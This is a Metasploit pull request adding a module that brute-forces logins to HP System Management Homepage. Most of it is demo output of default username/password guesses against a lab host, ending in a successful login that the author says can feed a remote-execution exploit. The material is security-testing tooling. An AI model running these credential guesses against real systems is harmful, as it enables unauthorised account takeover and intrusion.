rapid7/metasploit-framework — pull request #1997 by wchen-r7 (2013-06-20 18:34:43+00:00)
Title: Add HP System Management Homepage Login Utility

This module is used to login to HP System Management Homepage. The software uses Windows accounts for auth, so it's useful to brute-force them. A stolen credential can also be used for exploit hp_sys_mgmt_exec.rb. Tested versions: v6.3.1.24 upto v7.2.1.3. Downloads older than 6.3.1.24 are password-protected, so can't test those.

Archive can be found here:
http://goo.gl/ot68q

Demo:

msf auxiliary(hp_sys_mgmt_login) > run

[*] 10.0.1.8:2381 HP_SYS_MGMT - [002/275] - Trying: 'admin:admin'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [003/275] - Trying: 'manager:manager'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [004/275] - Trying: 'root:root'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [005/275] - Trying: 'cisco:cisco'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [006/275] - Trying: 'apc:apc'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [007/275] - Trying: 'pass:pass'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [008/275] - Trying: 'security:security'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [009/275] - Trying: 'user:user'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [010/275] - Trying: 'system:system'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [011/275] - Trying: 'sys:sys'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [012/275] - Trying: 'wampp:wampp'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [013/275] - Trying: 'newuser:newuser'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [014/275] - Trying: 'xampp-dav-unsecure:xampp-dav-unsecure'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [015/275] - Trying: 'connect:connect'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [016/275] - Trying: 'sitecom:sitecom'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [017/275] - Trying: 'private:private'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [018/275] - Trying: 'administrator:administrator'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [019/275] - Trying: 'admin:1234'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [020/275] - Trying: 'cisco:sanfran'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [021/275] - Trying: 'wampp:xampp'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [022/275] - Trying: 'newuser:wampp'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [023/275] - Trying: 'xampp-dav-unsecure:ppmax2011'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [024/275] - Trying: 'admin:turnkey'
[*] 10.0.1.8:2381 HP_SYS_MGMT - [025/275] - Trying: 'administrator:veryphat'
[+] 10.0.1.8:2381 - Successful login: 'administrator:holamundo'
[*] Auxiliary module execution completed
msf auxiliary(hp_sys_mgmt_login) >